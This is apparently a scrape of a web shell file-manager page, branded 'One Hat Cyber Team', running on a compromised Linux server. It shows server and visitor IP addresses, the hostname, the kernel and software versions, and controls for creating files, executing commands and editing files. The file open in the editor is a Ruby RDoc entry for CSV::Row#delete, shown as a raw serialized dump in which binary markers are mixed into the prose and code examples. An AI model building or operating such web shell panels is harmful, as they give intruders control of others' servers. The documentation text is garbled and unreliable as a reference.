⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.189
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
CSV
/
Row
/
Edit File: delete-i.ri
U:RDoc::AnyMethod[iI"delete:ETI"CSV::Row#delete;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"IRemoves a specified field from +self+; returns the 2-element \Array ;TI"2<tt>[header, value]</tt> if the field exists.;To:RDoc::Markup::BlankLine o; ; [I"/If an \Integer argument +index+ is given, ;TI"6removes and returns the field at offset +index+, ;TI"2or returns +nil+ if the field does not exist:;To:RDoc::Markup::Verbatim; [ I".source = "Name,Name,Name\nFoo,Bar,Baz\n" ;TI".table = CSV.parse(source, headers: true) ;TI"row = table[0] ;TI"(row.delete(1) # => ["Name", "Bar"] ;TI"row.delete(50) # => nil ;T:@format0o; ; [I":Otherwise, if the single argument +header+ is given, ;TI"Fremoves and returns the first-found field with the given header, ;TI"?of returns a new empty \Array if the field does not exist:;To;; [ I".source = "Name,Name,Name\nFoo,Bar,Baz\n" ;TI".table = CSV.parse(source, headers: true) ;TI"row = table[0] ;TI"-row.delete('Name') # => ["Name", "Foo"] ;TI" row.delete('NAME') # => [] ;T; 0o; ; [I"DIf argument +header+ and \Integer argument +offset+ are given, ;TI"Eremoves and returns the first-found field with the given header ;TI"4whose +index+ is at least as large as +offset+:;To;; [ I".source = "Name,Name,Name\nFoo,Bar,Baz\n" ;TI".table = CSV.parse(source, headers: true) ;TI"row = table[0] ;TI"0row.delete('Name', 1) # => ["Name", "Bar"] ;TI""row.delete('NAME', 1) # => [];T; 0: @fileI"lib/csv/row.rb;T:0@omit_headings_from_table_of_contents_below0I"�delete(index) -> [header, value] or nil delete(header) -> [header, value] or empty_array delete(header, offset) -> [header, value] or empty_array ;T0[ I")(header_or_index, minimum_index = 0);T@4FI"Row;TcRDoc::NormalClass00
Simpan